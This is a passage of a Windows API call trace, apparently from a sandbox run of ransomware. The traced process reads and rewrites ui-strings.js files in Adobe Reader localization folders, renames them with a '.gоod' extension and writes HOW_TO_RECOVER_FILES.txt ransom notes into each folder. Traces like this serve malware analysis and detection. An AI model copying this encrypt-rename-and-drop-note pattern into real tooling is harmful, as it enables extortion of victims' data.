dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0171.066] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0171.066] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0171.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0171.067] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0171.067] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si", lpFilePart=0x0) returned 0x69 [0171.067] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0171.067] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0171.067] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cec, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0171.067] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cec, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0171.067] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0171.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0171.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0171.068] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0171.068] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0171.068] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\sl-si\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x34039e0 | out: lpFileInformation=0x34039e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cec)) returned 1 [0171.068] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0171.068] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0171.068] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0171.068] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\sl-si\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0171.068] GetFileType (hFile=0x640) returned 0x1 [0171.068] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0171.068] GetFileType (hFile=0x640) returned 0x1 [0171.068] SetFilePointer (in: hFile=0x640, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0171.068] ReadFile (in: hFile=0x640, lpBuffer=0x3403eb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3403eb8*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0171.072] CloseHandle (hObject=0x640) returned 1 [0171.072] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0171.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0171.072] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\sl-si\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0171.072] GetFileType (hFile=0x640) returned 0x1 [0171.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0171.072] GetFileType (hFile=0x640) returned 0x1 [0171.072] SetFilePointer (in: hFile=0x640, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x3cec [0171.072] WriteFile (in: hFile=0x640, lpBuffer=0x3406fd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x3406fd0*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0171.073] CloseHandle (hObject=0x640) returned 1 [0171.073] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0171.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0171.073] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\sl-si\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0171.073] GetFileType (hFile=0x640) returned 0x1 [0171.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0171.073] GetFileType (hFile=0x640) returned 0x1 [0171.073] ReadFile (in: hFile=0x640, lpBuffer=0x3409378, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x3409378*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0171.100] CloseHandle (hObject=0x640) returned 1 [0171.100] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0171.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0171.100] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\sl-si\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0171.101] GetFileType (hFile=0x640) returned 0x1 [0171.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0171.101] GetFileType (hFile=0x640) returned 0x1 [0171.101] WriteFile (in: hFile=0x640, lpBuffer=0x3408070*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x3408070*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0171.101] CloseHandle (hObject=0x640) returned 1 [0171.101] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0171.484] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7c [0171.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0171.484] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\sl-si\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x62315426, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3cfc)) returned 1 [0172.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0172.157] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\sl-si\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\sl-si\\ui-strings.js.gоod")) returned 1 [0172.388] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0172.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0172.388] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\sl-si\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0172.430] GetFileType (hFile=0x768) returned 0x1 [0172.430] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0172.430] GetFileType (hFile=0x768) returned 0x1 [0172.431] WriteFile (in: hFile=0x768, lpBuffer=0x34d0df0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x34d0df0*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0172.432] CloseHandle (hObject=0x768) returned 1 [0172.432] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0172.432] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-sl", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-sl", lpFilePart=0x0) returned 0x69 [0172.432] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-sl\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0172.432] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.432] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0172.433] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0172.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0172.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0172.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0172.433] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-sl", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-sl", lpFilePart=0x0) returned 0x69 [0172.433] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-sl\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0172.433] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.433] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0172.433] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0172.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0172.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0172.433] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-sl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-sl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0172.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0172.434] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-sl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\sl-sl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0172.434] GetFileType (hFile=0x768) returned 0x1 [0172.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0172.434] GetFileType (hFile=0x768) returned 0x1 [0172.435] WriteFile (in: hFile=0x768, lpBuffer=0x34e2860*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x34e2860*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0172.435] CloseHandle (hObject=0x768) returned 1 [0172.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0172.436] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se", lpFilePart=0x0) returned 0x69 [0172.436] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0172.436] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.436] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0172.436] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0172.436] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0172.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0172.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0172.437] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0172.437] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se", lpFilePart=0x0) returned 0x69 [0172.437] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sv-se\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0172.437] 